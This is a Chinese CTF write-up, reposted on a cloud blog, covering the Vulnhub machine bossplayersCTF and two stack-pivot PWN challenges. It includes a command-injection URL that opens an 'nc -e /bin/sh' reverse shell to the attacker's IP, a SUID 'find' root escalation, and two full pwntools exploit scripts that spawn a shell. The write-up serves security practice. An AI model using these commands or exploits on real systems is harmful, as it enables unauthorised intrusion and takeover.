前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【Vulnhub】bossplayersCTF与两道PWN

【Vulnhub】bossplayersCTF与两道PWN

作者头像
yichen
发布2020-06-24 11:11:16
6120
发布2020-06-24 11:11:16
举报

扫不到 IP 可以参考之前的文章:Vulnhub分配IP问题 | w4sp-lab环境搭建

改了之后就扫到了

扫描一下端口

代码语言:javascript
复制
nmap -p- -A 192.168.149.173

查看网页源码,最下面有个 base64,解出来看看

解了 3 次,解出来个

workinginprogress.php

访问一下,看着这个页面莫名其妙的感觉应该有命令执行...试了一下...这...

kali 上面监听一下

访问一下:

代码语言:javascript
复制
http://192.168.149.173/workinginprogress.php?cmd=nc -e /bin/sh 192.168.149.141 6666

打开一个交互 shell

代码语言:javascript
复制
python -c "import pty;pty.spawn('/bin/bash')"

看一下哪一些程序用 root 权限运行的

代码语言:javascript
复制
find / -user root -perm -4000 -print 2>/dev/null
代码语言:javascript
复制
find . -exec /bin/sh -p \; -quit

字数不够怎么办 ... 凑两个 pwn 题,栈迁移的,嘿嘿

ciscn_2019_es_2

我瞎了,一开始我看到这个 hack 函数,echo flag,嗯,返回到这个地方就打印出 flag 了,又是一道简单的 ret2text

结果写好 exp,只打印出了“flag”才幡然醒悟哈哈哈哈

这道题,栈迁移,找一下 leave;ret 0x080484b8

栈迁移原理:PWN!栈迁移原理

代码语言:javascript
复制
from pwn import *
#p=remote('node3.buuoj.cn',27789)
p=process('./ciscn')
context.log_level='debug'
sys_addr = 0x08048400
leave_ret = 0x080484b8
payload ='a'*0x20+'bbbbbbbb'
gdb.attach(p,'b *0x80485CD')
p.send(payload)
p.recvuntil('bbbbbbbb')
leak_addr = u32(p.recv(4))
print "======="
print "0x%x"  %leak_addr
print "======="
payload2 =('aaaa'+p32(sys_addr)+'bbbb'+p32(leak_addr-0x28)+'/bin/sh\x00').ljust(0x28,'a')
payload2+=p32(leak_addr-0x38)+p32(leave_ret)
p.sendline(payload2)
p.interactive()
代码语言:javascript
复制
通过调试可以看到我们泄露出来的那个值,跟 ebp 的距离正好是 0x10

所以把 fake_ebp 设置为 leak_addr-0x38

[Black Watch 入群题]PWN

代码语言:javascript
复制
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=process('./spwn')
elf=ELF('./spwn')
#p=remote('node3.buuoj.cn',28212)
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
leave_addr = 0x08048511
bss_addr = 0x804A300
p.recvuntil('name?')
payload ='a'*4 + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.send(payload)
p.recvuntil('say?')
payload1 = 'a'*24 + p32(bss_addr)+p32(leave_addr)
p.send(payload1)
write_addr = u32(p.recv(4))
print "0x%x" %write_addr
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
print "0x%x" %sys_addr
p.recv()
payload2 ='a'*4 + p32(sys_addr) + 'a'*4 + p32(bss_addr + 4*4) + "/bin/sh\x00"
p.send(payload2)
p.recv()
payload3 = 'a'*0x18 + p32(bss_addr) + p32(leave_addr)
p.send(payload3)
p.interactive()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ciscn_2019_es_2
  • [Black Watch 入群题]PWN
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档